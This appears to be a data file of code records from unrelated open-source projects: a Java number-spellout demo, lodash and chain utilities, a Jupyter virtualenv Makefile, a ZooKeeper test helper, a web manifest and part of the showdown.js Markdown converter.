leftPanel.add(panel, \"North\");\n leftPanel.add(textField, \"Center\");\n\n Panel rightPanel = new Panel();\n rightPanel.setLayout(new BorderLayout());\n formatterMenu = new Choice();\n for (int i = 0; i < RbnfSampleRuleSets.sampleRuleSetNames.length; i++)\n formatterMenu.addItem(RbnfSampleRuleSets.sampleRuleSetNames[i]);\n formatterMenu.addItem(\"Custom\");\n formatterMenu.addItemListener(new ItemListener() {\n @Override\n public void itemStateChanged(ItemEvent e) {\n Choice source = (Choice)(e.getSource());\n int item = source.getSelectedIndex();\n Locale locale = RbnfSampleRuleSets.sampleRuleSetLocales[item];\n\n commentaryField.setText(RbnfSampleRuleSets.\n sampleRuleSetCommentary[item]);\n\n if (locale != null && (locale.getLanguage().equals(\"iw\")\n || locale.getLanguage().equals(\"ru\") || locale.getLanguage().equals(\"ja\")\n || locale.getLanguage().equals(\"el\")\n || locale.getLanguage().equals(\"zh\"))) {\n textField.togglePanes(false);\n rulesField.togglePanes(false);\n }\n else {\n textField.togglePanes(true);\n rulesField.togglePanes(true);\n }\n\n makeNewSpelloutFormatter();\n redisplay();\n }\n } );\n\n ruleSetMenu = new Choice();\n populateRuleSetMenu();\n\n ruleSetMenu.addItemListener(new ItemListener() {\n @Override\n public void itemStateChanged(ItemEvent e) {\n ruleSetName = ruleSetMenu.getSelectedItem();\n redisplay();\n }\n } );\n\n Panel menuPanel = new Panel();\n menuPanel.setLayout(new GridLayout(1, 2));\n menuPanel.add(formatterMenu);\n menuPanel.add(ruleSetMenu);\n rightPanel.add(menuPanel, \"North\");\n\n rulesField.setText(RbnfSampleRuleSets.sampleRuleSets[formatterMenu.getSelectedIndex()]);\n rightPanel.add(rulesField, \"Center\");\n\n mainPanel.add(leftPanel);\n mainPanel.add(rightPanel);\n\n window.add(mainPanel, \"Center\");\n window.add(commentaryField, \"South\");\n\n window.doLayout();\n window.show();\n final DemoApplet theApplet = applet;\n window.addWindowListener(\n new WindowAdapter() {\n @Override\n public void windowClosing(WindowEvent e) {\n setVisible(false);\n window.dispose();\n\n if (theApplet != null) {\n theApplet.demoClosed();\n } else System.exit(0);\n }\n } );\n return window;\n }\n\n void roll(int delta) {\n theNumber = theNumber.add(new BigDecimal(delta));\n redisplay();\n }\n\n void redisplay() {\n numberField.setText(numberFormatter.format(theNumber));\n textField.setText(spelloutFormatter\n .format(theNumber.scale() == 0 ? theNumber.longValue() : theNumber.doubleValue(), ruleSetName));\n }\n\n void makeNewSpelloutFormatter() {\n int item = formatterMenu.getSelectedIndex();\n String formatterMenuItem = formatterMenu.getSelectedItem();\n\n if (formatterMenuItem.equals(\"Custom\")) {\n rulesField.setText(customRuleSet);\n spelloutFormatter = new RuleBasedNumberFormat(customRuleSet);\n }\n else {\n rulesField.setText(RbnfSampleRuleSets.sampleRuleSets[item]);\n\n Locale locale = RbnfSampleRuleSets.sampleRuleSetLocales[item];\n if (locale == null)\n locale = Locale.getDefault();\n\n spelloutFormatter = new RuleBasedNumberFormat(RbnfSampleRuleSets.\n sampleRuleSets[item], locale);\n }\n spelloutFormatter.setLenientParseMode(lenientParse);\n populateRuleSetMenu();\n }\n\n void populateRuleSetMenu() {\n String[] ruleSetNames = spelloutFormatter.getRuleSetNames();\n\n if (ruleSetMenu != null) {\n ruleSetMenu.removeAll();\n for (int i = 0; i < ruleSetNames.length; i++)\n ruleSetMenu.addItem(ruleSetNames[i]);\n\n ruleSetName = ruleSetMenu.getSelectedItem();\n }\n else\n ruleSetName = ruleSetNames[0];\n }\n\n// private Frame demoWindow = null;\n\n private TextComponent numberField;\n private DemoTextFieldHolder textField;\n private DemoTextFieldHolder rulesField;\n private TextComponent commentaryField;\n private Checkbox lenientParseButton;\n\n private boolean numberFieldHasFocus = true;\n\n private RuleBasedNumberFormat spelloutFormatter;\n private DecimalFormat numberFormatter;\n private ParsePosition parsePosition;\n\n private boolean lenientParse = true;\n\n private BigDecimal theNumber = BigDecimal.ZERO;\n// private boolean canEdit = true;\n\n private Choice formatterMenu;\n private Choice ruleSetMenu;\n private String ruleSetName;\n\n private String customRuleSet = \"NO RULES!\";\n}\n\nclass DemoTextField extends Component {\n /**\n * For serialization\n */\n private static final long serialVersionUID = -7947090021239472658L;\n public DemoTextField() {\n }\n\n public void setText(String text) {\n this.text = text;\n this.repaint();\n }\n\n public String getText() {\n return text;\n }\n\n @Override\n public void paint(Graphics g) {\n Font font = getFont();\n FontMetrics fm = g.getFontMetrics();\n g.setFont(font);\n String txt = getText();\n BreakIterator bi = BreakIterator.getLineInstance();\n bi.setText(txt);\n int lineHeight = fm.getHeight();\n int width = getSize().width;\n int penY = fm.getAscent();\n int lineStart = 0;\n int tempLineEnd = bi.first();\n int lineEnd = 0;\n int maxLineEnd = 0;\n totalHeight = 0;\n\n while (lineStart < txt.length()) {\n maxLineEnd = txt.indexOf('\\n', lineStart);\n if (maxLineEnd == -1)\n maxLineEnd = Integer.MAX_VALUE;\n while (tempLineEnd != BreakIterator.DONE && fm.stringWidth(txt.substring(\n lineStart, tempLineEnd)) < width) {\n lineEnd = tempLineEnd;\n tempLineEnd = bi.next();\n }\n if (lineStart >= lineEnd) {\n if (tempLineEnd == BreakIterator.DONE)\n lineEnd = txt.length();\n else\n lineEnd = tempLineEnd;\n }\n if (lineEnd > maxLineEnd)\n lineEnd = maxLineEnd;\n g.drawString(txt.substring(lineStart, lineEnd), 0, penY);\n penY += lineHeight;\n totalHeight += lineHeight;\n lineStart = lineEnd;\n if (lineStart < txt.length() && txt.charAt(lineStart) == '\\n')\n ++lineStart;\n }\n }\n\n/*\n public Dimension getPreferredSize() {\n Dimension size = getParent().getSize();\n return new Dimension(size.width, totalHeight);\n }\n*/\n\n private String text;\n private int totalHeight;\n}\n\nclass DemoTextFieldHolder extends Panel {\n /**\n * For serialization\n */\n private static final long serialVersionUID = 7514498764062569858L;\n public DemoTextFieldHolder() {\n tf1 = new TextArea(\"\", 0, 0, TextArea.SCROLLBARS_VERTICAL_ONLY);\n tf2 = new DemoTextField();\n sp = new ScrollPane();\n\n setLayout(new CardLayout());\n\n sp.add(tf2, \"TextField1\");\n sp.setVisible(false);\n add(tf1, \"TestField2\");\n add(sp, \"ScrollPane\");\n }\n\n @Override\n public void addFocusListener(FocusListener l) {\n tf1.addFocusListener(l);\n }\n\n @Override\n public void addKeyListener(KeyListener l) {\n tf1.addKeyListener(l);\n }\n\n public void setText(String text) {\n tf1.setText(text);\n tf2.setText(text);\n }\n\n public String getText() {\n return tf1.getText();\n }\n\n public void select(int start, int end) {\n tf1.select(start, end);\n }\n\n public void selectAll() {\n tf1.selectAll();\n }\n\n public void togglePanes(boolean canShowRealTextField) {\n if (canShowRealTextField != showingRealTextField) {\n CardLayout layout = (CardLayout)(getLayout());\n layout.next(this);\n showingRealTextField = canShowRealTextField;\n }\n }\n\n private TextArea tf1 = null;\n private DemoTextField tf2 = null;\n private ScrollPane sp = null;\n private boolean showingRealTextField = true;\n}\n"} +{"text": "var convert = require('./convert'),\n func = convert('value', require('../value'), require('./_falseOptions'));\n\nfunc.placeholder = require('./placeholder');\nmodule.exports = func;\n"} +{"text": ".PHONY: all clean\n\nall: venv/bin/activate\n\nvenv/bin/activate:\n\ttest -d venv || virtualenv -p python3.6 venv\n\t. venv/bin/activate && pip install -U jupyter\n\t. venv/bin/activate && pip install -U matplotlib\n\t. venv/bin/activate && pip install -U RISE\n\t. venv/bin/activate && jupyter-nbextension install rise --py --sys-prefix\n\t. venv/bin/activate && jupyter-nbextension enable rise --py --sys-prefix\n\nclean:\n\trm -fr venv\n\tfind -iname \"*.pyc\" -delete\n\n"} +{"text": "/*\n * Copyright 2016 Google Inc. All rights reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n'use strict';\n\nvar noop = require('./noop');\n\n// Return a function that executes its arguments (which should be cancelables)\n// in sequence, so that each of them passes its return values to the next.\n// Execution is aborted if one of the functions returns an error; in that case\n// the last function in the sequence is called with the error.\n// See util/cancelize.js for an explanation of what cancelables are.\nfunction chain() {\n\n // The list of functions to chain together.\n var argList = Array.prototype.slice.call(arguments, 0);\n\n return function chained() {\n\n // List of remaining functions to be executed.\n // Make a copy of the original list so we can mutate the former while\n // preserving the latter intact for future invocations of the chain.\n var fnList = argList.slice(0);\n\n // Currently executing function.\n var fn = null;\n\n // Cancel method for the currently executing function.\n var cfn = null;\n\n // Arguments for the first function.\n var args = arguments.length ? Array.prototype.slice.call(arguments, 0, arguments.length - 1) : [];\n\n // Callback for the chain.\n var done = arguments.length ? arguments[arguments.length - 1] : noop;\n\n // Execute the next function in the chain.\n // Receives the error and return values from the previous function.\n function exec() {\n\n // Extract error from arguments.\n var err = arguments[0];\n\n // Abort chain on error.\n if (err) {\n fn = cfn = null;\n done.apply(null, arguments);\n return;\n }\n\n // Terminate if there are no functions left in the chain.\n if (!fnList.length) {\n fn = cfn = null;\n done.apply(null, arguments);\n return;\n }\n\n // Advance to the next function in the chain.\n fn = fnList.shift();\n var _fn = fn;\n\n // Extract arguments to pass into the next function.\n var ret = Array.prototype.slice.call(arguments, 1);\n\n // Call next function with previous return value and call back exec.\n ret.push(exec);\n var _cfn = fn.apply(null, ret); // fn(null, ret..., exec)\n\n // Detect when fn has completed synchronously and do not clobber the\n // internal state in that case. You're not expected to understand this.\n if (_fn !== fn) {\n return;\n }\n\n // Remember the cancel method for the currently executing function.\n // Detect chaining on non-cancellable function.\n if (typeof _cfn !== 'function') {\n throw new Error('chain: chaining on non-cancellable function');\n } else {\n cfn = _cfn;\n }\n\n }\n\n // Cancel chain execution.\n function cancel() {\n if (cfn) {\n cfn.apply(null, arguments);\n }\n }\n\n // Start chain execution.\n // We call exec as if linking from a previous function in the chain,\n // except that the error is always null. As a consequence, chaining on an\n // empty list yields the identity function.\n args.unshift(null);\n exec.apply(null, args); // exec(null, args...)\n\n return cancel;\n\n };\n\n}\n\nmodule.exports = chain;\n"} +{"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.apache.curator.test;\n\nimport org.apache.zookeeper.server.ServerCnxnFactory;\nimport org.apache.zookeeper.server.ServerConfig;\nimport org.apache.zookeeper.server.ZKDatabase;\nimport org.apache.zookeeper.server.ZooKeeperServer;\nimport org.apache.zookeeper.server.ZooKeeperServerMain;\nimport org.apache.zookeeper.server.quorum.QuorumPeer;\nimport org.apache.zookeeper.server.quorum.QuorumPeerConfig;\nimport java.io.IOException;\nimport java.lang.reflect.Field;\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\nimport java.nio.channels.ServerSocketChannel;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.atomic.AtomicReference;\n\npublic class TestingZooKeeperMain extends ZooKeeperServerMain implements ZooKeeperMainFace\n{\n private final CountDownLatch latch = new CountDownLatch(1);\n private final AtomicReference startingException = new AtomicReference(null);\n\n private static final int MAX_WAIT_MS;\n\n static\n {\n long startMs = System.currentTimeMillis();\n try\n {\n // this can take forever and fails tests - ZK calls it internally so there's nothing we can do\n // pre flight it and use it to calculate max wait\n //noinspection ResultOfMethodCallIgnored\n InetAddress.getLocalHost().getCanonicalHostName();\n }\n catch ( UnknownHostException e )\n {\n // ignore\n }\n long elapsed = System.currentTimeMillis() - startMs;\n MAX_WAIT_MS = Math.max((int)elapsed * 2, 1000);\n }\n\n @Override\n public void kill()\n {\n try\n {\n Field cnxnFactoryField = ZooKeeperServerMain.class.getDeclaredField(\"cnxnFactory\");\n cnxnFactoryField.setAccessible(true);\n ServerCnxnFactory cnxnFactory = (ServerCnxnFactory)cnxnFactoryField.get(this);\n cnxnFactory.closeAll();\n\n Field ssField = cnxnFactory.getClass().getDeclaredField(\"ss\");\n ssField.setAccessible(true);\n ServerSocketChannel ss = (ServerSocketChannel)ssField.get(cnxnFactory);\n ss.close();\n\n close();\n }\n catch ( Exception e )\n {\n e.printStackTrace(); // just ignore - this class is only for testing\n }\n }\n\n @Override\n public void runFromConfig(QuorumPeerConfig config) throws Exception\n {\n ServerConfig serverConfig = new ServerConfig();\n serverConfig.readFrom(config);\n latch.countDown();\n try\n {\n super.runFromConfig(serverConfig);\n }\n catch ( IOException e )\n {\n startingException.set(e);\n throw e;\n }\n }\n\n @Override\n public QuorumPeer getQuorumPeer()\n {\n throw new UnsupportedOperationException();\n }\n\n @SuppressWarnings(\"SynchronizationOnLocalVariableOrMethodParameter\")\n @Override\n public void blockUntilStarted() throws Exception\n {\n latch.await();\n\n ServerCnxnFactory cnxnFactory = getServerConnectionFactory();\n if ( cnxnFactory != null )\n {\n final ZooKeeperServer zkServer = getZooKeeperServer(cnxnFactory);\n if ( zkServer != null )\n {\n synchronized(zkServer)\n {\n if ( !zkServer.isRunning() )\n {\n zkServer.wait();\n }\n }\n }\n }\n\n Thread.sleep(1000);\n\n Exception exception = startingException.get();\n if ( exception != null )\n {\n throw exception;\n }\n }\n\n @Override\n public void close() throws IOException\n {\n try\n {\n shutdown();\n }\n catch ( Throwable e )\n {\n e.printStackTrace(); // just ignore - this class is only for testing\n }\n\n try\n {\n ServerCnxnFactory cnxnFactory = getServerConnectionFactory();\n if ( cnxnFactory != null )\n {\n ZooKeeperServer zkServer = getZooKeeperServer(cnxnFactory);\n if ( zkServer != null )\n {\n ZKDatabase zkDb = zkServer.getZKDatabase();\n if ( zkDb != null )\n {\n // make ZK server close its log files\n zkDb.close();\n }\n }\n }\n }\n catch ( Exception e )\n {\n e.printStackTrace(); // just ignore - this class is only for testing\n }\n }\n\n private ServerCnxnFactory getServerConnectionFactory() throws Exception\n {\n Field cnxnFactoryField = ZooKeeperServerMain.class.getDeclaredField(\"cnxnFactory\");\n cnxnFactoryField.setAccessible(true);\n ServerCnxnFactory cnxnFactory;\n\n // Wait until the cnxnFactory field is non-null or up to 1s, whichever comes first.\n long startTime = System.currentTimeMillis();\n do\n {\n cnxnFactory = (ServerCnxnFactory)cnxnFactoryField.get(this);\n }\n while ( (cnxnFactory == null) && ((System.currentTimeMillis() - startTime) < MAX_WAIT_MS) );\n\n return cnxnFactory;\n }\n\n private ZooKeeperServer getZooKeeperServer(ServerCnxnFactory cnxnFactory) throws Exception\n {\n Field zkServerField = ServerCnxnFactory.class.getDeclaredField(\"zkServer\");\n zkServerField.setAccessible(true);\n ZooKeeperServer zkServer;\n\n // Wait until the zkServer field is non-null or up to 1s, whichever comes first.\n long startTime = System.currentTimeMillis();\n do\n {\n zkServer = (ZooKeeperServer)zkServerField.get(cnxnFactory);\n }\n while ( (zkServer == null) && ((System.currentTimeMillis() - startTime) < MAX_WAIT_MS) );\n\n return zkServer;\n }\n}\n"} +{"text": "{\n \"lang\": \"en-US\",\n \"short_name\": \"PiGateway\",\n \"name\": \"PiGateway\",\n \"description\": \"Connected device monitor and control software.\",\n \"theme_color\": \"#414141\",\n \"background_color\": \"#414141\",\n \"icons\": [\n {\"src\": \"../images/favicon_manifest.png\", \"sizes\": \"192x192\", \"type\": \"image/png\" }\n ],\n \"start_url\": \"/\",\n \"display\": \"standalone\"\n}"} +{"text": "classdef LC\n\tmethods\n\t\tfunction [obj, c,t, s ] = Classification( obj,m,t, cm )\n\t\tend\n\tend\nend\n"} +{"text": "//\n// showdown.js -- A javascript port of Markdown.\n//\n// Copyright (c) 2007 John Fraser.\n//\n// Original Markdown Copyright (c) 2004-2005 John Gruber\n// \n//\n// The full source distribution is at:\n//\n//\t\t\t\tA A L\n//\t\t\t\tT C A\n//\t\t\t\tT K B\n//\n// \n//\n\n//\n// Wherever possible, Showdown is a straight, line-by-line port\n// of the Perl version of Markdown.\n//\n// This is not a normal parser design; it's basically just a\n// series of string substitutions. It's hard to read and\n// maintain this way, but keeping Showdown close to the original\n// design makes it easier to port new features.\n//\n// More importantly, Showdown behaves like markdown.pl in most\n// edge cases. So web applications can do client-side preview\n// in Javascript, and then build identical HTML on the server.\n//\n// This port needs the new RegExp functionality of ECMA 262,\n// 3rd Edition (i.e. Javascript 1.5). Most modern web browsers\n// should do fine. Even with the new regular expression features,\n// We do a lot of work to emulate Perl's regex functionality.\n// The tricky changes in this file mostly have the \"attacklab:\"\n// label. Major or self-explanatory changes don't.\n//\n// Smart diff tools like Araxis Merge will be able to match up\n// this file with markdown.pl in a useful way. A little tweaking\n// helps: in a copy of markdown.pl, replace \"#\" with \"//\" and\n// replace \"$text\" with \"text\". Be sure to ignore whitespace\n// and line endings.\n//\n\n\n//\n// Showdown usage:\n//\n// var text = \"Markdown *rocks*.\";\n//\n// var converter = new Attacklab.showdown.converter();\n// var html = converter.makeHtml(text);\n//\n// alert(html);\n//\n// Note: move the sample code to the bottom of this\n// file before uncommenting it.\n//\n\n\n//\n// Attacklab namespace\n//\nvar Attacklab = Attacklab || {}\n\n//\n// Showdown namespace\n//\nAttacklab.showdown = Attacklab.showdown || {}\n\n//\n// converter\n//\n// Wraps all \"globals\" so that the only thing\n// exposed is makeHtml().\n//\nAttacklab.showdown.converter = function() {\n\n//\n// Globals:\n//\n\n// Global hashes, used by various utility routines\nvar g_urls;\nvar g_titles;\nvar g_html_blocks;\n\n// Used to track when we're inside an ordered or unordered list\n// (see _ProcessListItems() for details):\nvar g_list_level = 0;\n\n\nthis.makeHtml = function(text) {\n//\n// Main function. The order in which other subs are called here is\n// essential. Link and image substitutions need to happen before\n// _EscapeSpecialCharsWithinTagAttributes(), so that any *'s or _'s in the \n// and tags get encoded.\n//\n\n\t// Clear the global hashes. If we don't clear these, you get conflicts\n\t// from other articles when generating a page which contains more than\n\t// one article (e.g. an index page that shows the N most recent\n\t// articles):\n\tg_urls = new Array();\n\tg_titles = new Array();\n\tg_html_blocks = new Array();\n\n\t// attacklab: Replace ~ with ~T\n\t// This lets us use tilde as an escape char to avoid md5 hashes\n\t// The choice of character is arbitray; anything that isn't\n // magic in Markdown will work.\n\ttext = text.replace(/~/g,\"~T\");\n\n\t// attacklab: Replace $ with ~D\n\t// RegExp interprets $ as a special character\n\t// when it's in a replacement string\n\ttext = text.replace(/\\$/g,\"~D\");\n\n\t// Standardize line endings\n\ttext = text.replace(/\\r\\n/g,\"\\n\"); // DOS to Unix\n\ttext = text.replace(/\\r/g,\"\\n\"); // Mac to Unix\n\n\t// Make sure text begins and ends with a couple of newlines:\n\ttext = \"\\n\\n\" + text + \"\\n\\n\";\n\n\t// Convert all tabs to spaces.\n\ttext = _Detab(text);\n\n\t// Strip any lines consisting only of spaces and tabs.\n\t// This makes subsequent regexen easier to write, because we can\n\t// match consecutive blank lines with /\\n+/ instead of something\n\t// contorted like /[ \\t]*\\n+/ .\n\ttext = text.replace(/^[ \\t]+$/mg,\"\");\n\n\t// Turn block-level HTML blocks into hash entries\n\ttext = _HashHTMLBlocks(text);\n\n\t// Strip link definitions, store in hashes.\n\ttext = _StripLinkDefinitions(text);\n\n\ttext = _RunBlockGamut(text);\n\n\ttext = _UnescapeSpecialChars(text);\n\n\t// attacklab: Restore dollar signs\n\ttext = text.replace(/~D/g,\"$$\");\n\n\t// attacklab: Restore tildes\n\ttext = text.replace(/~T/g,\"~\");\n\n\treturn text;\n}\n\nvar _StripLinkDefinitions = function(text) {\n//\n// Strips link definitions from text, stores the URLs and titles in\n// hash references.\n//\n\n\t// Link defs are in the form: ^[id]: url \"optional title\"\n\n\t/*\n\t\tvar text = text.replace(/\n\t\t\t\t^[ ]{0,3}\\[(.+)\\]: // id = $1 attacklab: g_tab_width - 1\n\t\t\t\t [ \\t]*\n\t\t\t\t \\n?\t\t\t\t// maybe *one* newline\n\t\t\t\t [ \\t]*\n\t\t\t\t?\t\t\t// url = $2\n\t\t\t\t [ \\t]*\n\t\t\t\t \\n?\t\t\t\t// maybe one newline\n\t\t\t\t [ \\t]*\n\t\t\t\t(?:\n\t\t\t\t (\\n*)\t\t\t\t// any lines skipped = $3 attacklab: lookbehind removed\n\t\t\t\t [\"(]\n\t\t\t\t (.+?)\t\t\t\t// title = $4\n\t\t\t\t [\")]\n\t\t\t\t [ \\t]*\n\t\t\t\t)?\t\t\t\t\t// title is optional\n\t\t\t\t(?:\\n+|$)\n\t\t\t /gm,\n\t\t\t function(){...});\n\t*/\n\tvar text = text.replace(/^[ ]{0,3}\\[(.+)\\]:[ \\t]*\\n?[ \\t]*?[ \\t]*\\n?[ \\t]*(?:(\\n*)[\"(](.+?)[\")][ \\t]*)?(?:\\n+)/gm,\n\t\tfunction (wholeMatch,m1,m2,m3,m4) {\n\t\t\tm1 = m1.toLowerCase();\n\t\t\tg_urls[m1] = _EncodeAmpsAndAngles(m2); // Link IDs are case-insensitive\n\t\t\tif (m3) {\n\t\t\t\t// Oops, found blank lines, so it's not a title.\n\t\t\t\t// Put back the parenthetical statement we stole.\n\t\t\t\treturn m3+m4;\n\t\t\t} else if (m4) {\n\t\t\t\tg_titles[m1] = m4.replace(/\"/g,\""\");\n\t\t\t}\n\t\t\t\n\t\t\t// Completely remove the definition from the text\n\t\t\treturn \"\";\n\t\t}\n\t);\n\n\treturn text;\n}\n\nvar _HashHTMLBlocks = function(text) {\n\t// attacklab: Double up blank lines to reduce lookaround\n\ttext = text.replace(/\\n/g,\"\\n\\n\");\n\n\t// Hashify HTML blocks:\n\t// We only want to do this for block-level HTML tags, such as headers,\n\t// lists, and tables. That's because we still want to wrap

s around\n\t// \"paragraphs\" that are wrapped in non-block-level tags, such as anchors,\n\t// phrase emphasis, and spans. The list of tags we're looking for is\n\t// hard-coded:\n\tvar block_tags_a = \"p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math|ins|del\"\n\tvar block_tags_b = \"p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math\"\n\n\t// First, look for nested blocks, e.g.:\n\t//

\n\t//
\n\t// tags for inner block must be indented.\n\t//
\n\t//
\n\t//\n\t// The outermost tags must start at the left margin for this to match, and\n\t// the inner nested divs must be indented.\n\t// We need to do this before the next, more liberal match, because the next\n\t// match will start at the first `
` and stop at the first `
`.\n\n\t// attacklab: This regex can be expensive when it fails.\n\t/*\n\t\tvar text = text.replace(/\n\t\t(\t\t\t\t\t\t// save in $1\n\t\t\t^\t\t\t\t\t// start of line (with /m)\n\t\t\t<($block_tags_a)\t// start tag = $2\n\t\t\t\\b\t\t\t\t\t// word break\n\t\t\t\t\t\t\t\t// attacklab: hack around khtml/pcre bug...\n\t\t\t[^\\r]*?\\n\t\t\t// any number of lines, minimally matching\n\t\t\t\t\t\t\t// the matching end tag\n\t\t\t[ \\t]*\t\t\t\t// trailing spaces/tabs\n\t\t\t(?=\\n+)\t\t\t\t// followed by a newline\n\t\t)\t\t\t\t\t\t// attacklab: there are sentinel newlines at end of document\n\t\t/gm,function(){...}};\n\t*/\n\ttext = text.replace(/^(<(p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math|ins|del)\\b[^\\r]*?\\n<\\/\\2>[ \\t]*(?=\\n+))/gm,hashElement);\n\n\t//\n\t// Now match more liberally, simply from `\\n` to `\\n`\n\t//\n\n\t/*\n\t\tvar text = text.replace(/\n\t\t(\t\t\t\t\t\t// save in $1\n\t\t\t^\t\t\t\t\t// start of line (with /m)\n\t\t\t<($block_tags_b)\t// start tag = $2\n\t\t\t\\b\t\t\t\t\t// word break\n\t\t\t\t\t\t\t\t// attacklab: hack around khtml/pcre bug...\n\t\t\t[^\\r]*?\t\t\t\t// any number of lines, minimally matching\n\t\t\t.*\t\t\t\t// the matching end tag\n\t\t\t[ \\t]*\t\t\t\t// trailing spaces/tabs\n\t\t\t(?=\\n+)\t\t\t\t// followed by a newline\n\t\t)\t\t\t\t\t\t// attacklab: there are sentinel newlines at end of document\n\t\t/gm,function(){...}};\n\t*/\n\ttext = text.replace(/^(<(p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math)\\b[^\\r]*?.*<\\/\\2>[ \\t]*(?=\\n+)\\n)/gm,hashElement);\n\n\t// Special case just for
. It was easier to make a special case than\n\t// to make the other regex more complicated. \n\n\t/*\n\t\ttext = text.replace(/\n\t\t(\t\t\t\t\t\t// save in $1\n\t\t\t\\n\\n\t\t\t\t// Starting after a blank line\n\t\t\t[ ]{0,3}\n\t\t\t(<(hr)\t\t\t\t// start tag = $2\n\t\t\t\\b\t\t\t\t\t// word break\n\t\t\t([^<>])*?\t\t\t// \n\t\t\t\\/?>)\t\t\t\t// the matching end tag\n\t\t\t[ \\t]*\n\t\t\t(?=\\n{2,})\t\t\t// followed by a blank line\n\t\t)\n\t\t/g,hashElement);\n\t*/\n\ttext = text.replace(/(\\n[ ]{0,3}(<(hr)\\b([^<>])*?\\/?>)[ \\t]*(?=\\n{2,}))/g,hashElement);\n\n\t// Special case for standalone HTML comments:\n\n\t/*\n\t\ttext = text.replace(/\n\t\t(\t\t\t\t\t\t// save in $1\n\t\t\t\\n\\n\t\t\t\t// Starting after a blank line\n\t\t\t[ ]{0,3}\t\t\t// attacklab: g_tab_width - 1\n\t\t\t\n\t\t\t[ \\t]*\n\t\t\t(?=\\n{2,})\t\t\t// followed by a blank line\n\t\t)\n\t\t/g,hashElement);\n\t*/\n\ttext = text.replace(/(\\n\\n[ ]{0,3}[ \\t]*(?=\\n{2,}))/g,hashElement);\n\n\t// PHP and ASP-style processor instructions ( and <%...%>)\n\n\t/*\n\t\ttext = text.replace(/\n\t\t(?:\n\t\t\t\\n\\n\t\t\t\t// Starting after a blank line\n\t\t)\n\t\t(\t\t\t\t\t\t// save in $1\n\t\t\t[ ]{0,3}\t\t\t// attacklab: g_tab_width - 1\n\t\t\t(?:\n\t\t\t\t<([?%])\t\t\t// $2\n\t\t\t\t[^\\r]*?\n\t\t\t\t\\2>\n\t\t\t)\n\t\t\t[ \\t]*\n\t\t\t(?=\\n{2,})\t\t\t// followed by a blank line\n\t\t)\n\t\t/g,hashElement);\n\t*/\n\ttext = text.replace(/(?:\\n\\n)([ ]{0,3}(?:<([?%])[^\\r]*?\\2>)[ \\t]*(?=\\n{2,}))/g,hashElement);\n\n\t// attacklab: Undo double lines (see comment at top of this function)\n\ttext = text.replace(/\\n\\n/g,\"\\n\");\n\treturn text;\n}\n\nvar hashElement = function(wholeMatch,m1) {\n\tvar blockText = m1;\n\n\t// Undo double lines\n\tblockText = blockText.replace(/\\n\\n/g,\"\\n\");\n\tblockText = blockText.replace(/^\\n/,\"\");\n\t\n\t// strip trailing blank lines\n\tblockText = blockText.replace(/\\n+$/g,\"\");\n\t\n\t// Replace the element text with a marker (\"~KxK\" where x is its key)\n\tblockText = \"\\n\\n~K\" + (g_html_blocks.push(blockText)-1) + \"K\\n\\n\";\n\t\n\treturn blockText;\n};\n\nvar _RunBlockGamut = function(text) {\n//\n// These are all the transformations that form block-level\n// tags like paragraphs, headers, and list items.\n//\n\ttext = _DoHeaders(text);\n\n\t// Do Horizontal Rules:\n\tvar key = hashBlock(\"
\");\n\ttext = text.replace(/^[ ]{0,2}([ ]?\\*[ ]?){3,}[ \\t]*$/gm,key);\n\ttext = text.replace(/^[ ]{0,2}([ ]?-[ ]?){3,}[ \\t]*$/gm,key);\n\ttext = text.replace(/^[ ]{0,2}([ ]?_[ ]?){3,}[ \\t]*$/gm,key);\n\n\ttext = _DoLists(text);\n\ttext = _DoCodeBlocks(text);\n\ttext = _DoBlockQuotes(text);\n\n\t// We already ran _HashHTMLBlocks() before, in Markdown(), but that\n\t// was to escape raw HTML in the original Markdown source. This time,\n\t// we're escaping the markup we've just created, so that we don't wrap\n\t//

tags around block-level tags.\n\ttext = _HashHTMLBlocks(text);\n\ttext = _FormParagraphs(text);\n\n\treturn text;\n}\n\n\nvar _RunSpanGamut = function(text) {\n//\n// These are all the transformations that occur *within* block-level\n// tags like paragraphs, headers, and list items.\n//\n\n\ttext = _DoCodeSpans(text);\n\ttext = _EscapeSpecialCharsWithinTagAttributes(text);\n\ttext = _EncodeBackslashEscapes(text);\n\n\t// Process anchor and image tags. Images must come first,\n\t// because ![foo][f] looks like an anchor.\n\ttext = _DoImages(text);\n\ttext = _DoAnchors(text);\n\n\t// Make links out of things like ``\n\t// Must come after _DoAnchors(), because you can use < and >\n\t// delimiters in inline links like [this]().\n\ttext = _DoAutoLinks(text);\n\ttext = _EncodeAmpsAndAngles(text);\n\ttext = _DoItalicsAndBold(text);\n\n\t// Do hard breaks:\n\ttext = text.replace(/ +\\n/g,\"
